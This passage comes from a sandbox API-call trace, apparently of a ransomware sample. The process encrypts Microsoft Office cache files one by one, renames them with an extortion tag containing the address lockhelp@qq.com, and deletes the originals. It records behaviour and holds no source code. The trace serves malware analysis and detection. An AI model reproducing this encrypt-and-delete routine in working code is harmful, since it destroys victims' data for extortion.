dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931e0) returned 1 [0047.544] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.544] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50, dwBufLen=0x50 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x50) returned 1 [0047.544] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.544] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x102, lpOverlapped=0x0) returned 1 [0047.544] CryptDestroyKey (hKey=0x5930a0) returned 1 [0047.544] CloseHandle (hObject=0x178) returned 1 [0047.544] CloseHandle (hObject=0x174) returned 1 [0047.545] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0047.546] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.546] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.547] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=5884) returned 1 [0047.547] CloseHandle (hObject=0x174) returned 1 [0047.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.547] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.547] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.547] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.547] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.548] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5930a0) returned 1 [0047.548] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.548] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x16fc, lpOverlapped=0x0) returned 1 [0047.550] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x1700, dwBufLen=0x1700 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x1700) returned 1 [0047.550] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x1700, lpOverlapped=0x0) returned 1 [0047.551] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931e0) returned 1 [0047.551] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.551] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.551] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.551] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.551] CryptDestroyKey (hKey=0x5930a0) returned 1 [0047.551] CloseHandle (hObject=0x174) returned 1 [0047.552] CloseHandle (hObject=0x178) returned 1 [0047.552] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.554] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.554] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.555] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1383) returned 1 [0047.555] CloseHandle (hObject=0x178) returned 1 [0047.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0047.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.555] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.555] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.555] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.555] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.556] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5930a0) returned 1 [0047.556] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.556] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x567, lpOverlapped=0x0) returned 1 [0047.558] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x570, dwBufLen=0x570 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x570) returned 1 [0047.558] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x570, lpOverlapped=0x0) returned 1 [0047.559] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931e0) returned 1 [0047.559] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.559] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.559] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.559] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.559] CryptDestroyKey (hKey=0x5930a0) returned 1 [0047.559] CloseHandle (hObject=0x178) returned 1 [0047.559] CloseHandle (hObject=0x174) returned 1 [0047.560] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0047.562] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.562] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.562] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=2362) returned 1 [0047.562] CloseHandle (hObject=0x174) returned 1 [0047.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.562] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.562] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.562] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.563] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.563] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5930a0) returned 1 [0047.563] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.563] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x93a, lpOverlapped=0x0) returned 1 [0047.565] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x940, dwBufLen=0x940 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x940) returned 1 [0047.565] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x940, lpOverlapped=0x0) returned 1 [0047.566] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931e0) returned 1 [0047.566] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.566] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.566] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.566] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.566] CryptDestroyKey (hKey=0x5930a0) returned 1 [0047.566] CloseHandle (hObject=0x174) returned 1 [0047.566] CloseHandle (hObject=0x178) returned 1 [0047.567] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.568] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.568] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.569] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1231) returned 1 [0047.570] CloseHandle (hObject=0x178) returned 1 [0047.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0047.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.570] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.570] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.570] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.570] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.571] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5930a0) returned 1 [0047.571] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.571] ReadFile (in: hFile=0x178, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x4cf, lpOverlapped=0x0) returned 1 [0047.573] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x4d0) returned 1 [0047.573] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x4d0, lpOverlapped=0x0) returned 1 [0047.574] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x5931e0) returned 1 [0047.574] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.574] CryptEncrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0047.574] CryptDestroyKey (hKey=0x5931e0) returned 1 [0047.574] WriteFile (in: hFile=0x174, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0047.574] CryptDestroyKey (hKey=0x5930a0) returned 1 [0047.574] CloseHandle (hObject=0x178) returned 1 [0047.574] CloseHandle (hObject=0x174) returned 1 [0047.575] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0047.577] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0047.577] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.577] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1852) returned 1 [0047.577] CloseHandle (hObject=0x174) returned 1 [0047.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0047.577] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0047.577] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.577] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329f6d8 | out: lpNewFilePointer=0x0) returned 1 [0047.578] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0047.578] CryptImportKey (in: hProv=0x585138, pbData=0x329f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6ec | out: phKey=0x329f6ec*=0x5930a0) returned 1 [0047.578] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0047.578] ReadFile (in: hFile=0x174, lpBuffer=0x3680020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x329f714, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesRead=0x329f714*=0x73c, lpOverlapped=0x0) returned 1 [0048.230] CryptEncrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x740, dwBufLen=0x740 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x740) returned 1 [0048.230] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0x740, lpOverlapped=0x0) returned 1 [0048.231] CryptImportKey (in: hProv=0x585138, pbData=0x329f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x329f6f0 | out: phKey=0x329f6f0*=0x593220) returned 1 [0048.231] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x329f7a0, dwFlags=0x0) returned 1 [0048.231] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40, dwBufLen=0x40 | out: pbData=0x3680020*, pdwDataLen=0x329f6b0*=0x40) returned 1 [0048.231] CryptDestroyKey (hKey=0x593220) returned 1 [0048.231] WriteFile (in: hFile=0x178, lpBuffer=0x3680020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x329f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3680020*, lpNumberOfBytesWritten=0x329f6f8*=0xf2, lpOverlapped=0x0) returned 1 [0048.231] CryptDestroyKey (hKey=0x5930a0) returned 1 [0048.232] CloseHandle (hObject=0x174) returned 1 [0048.232] CloseHandle (hObject=0x178) returned 1 [0048.232] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0048.233] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x329f7a0 | out: pbBuffer=0x329f7a0) returned 1 [0048.233] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.408] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x329f738 | out: lpFileSize=0x329f738*=1452) returned 1 [0048.408] CloseHandle (hObject=0x1a8) returned 1 [0048.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0048.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 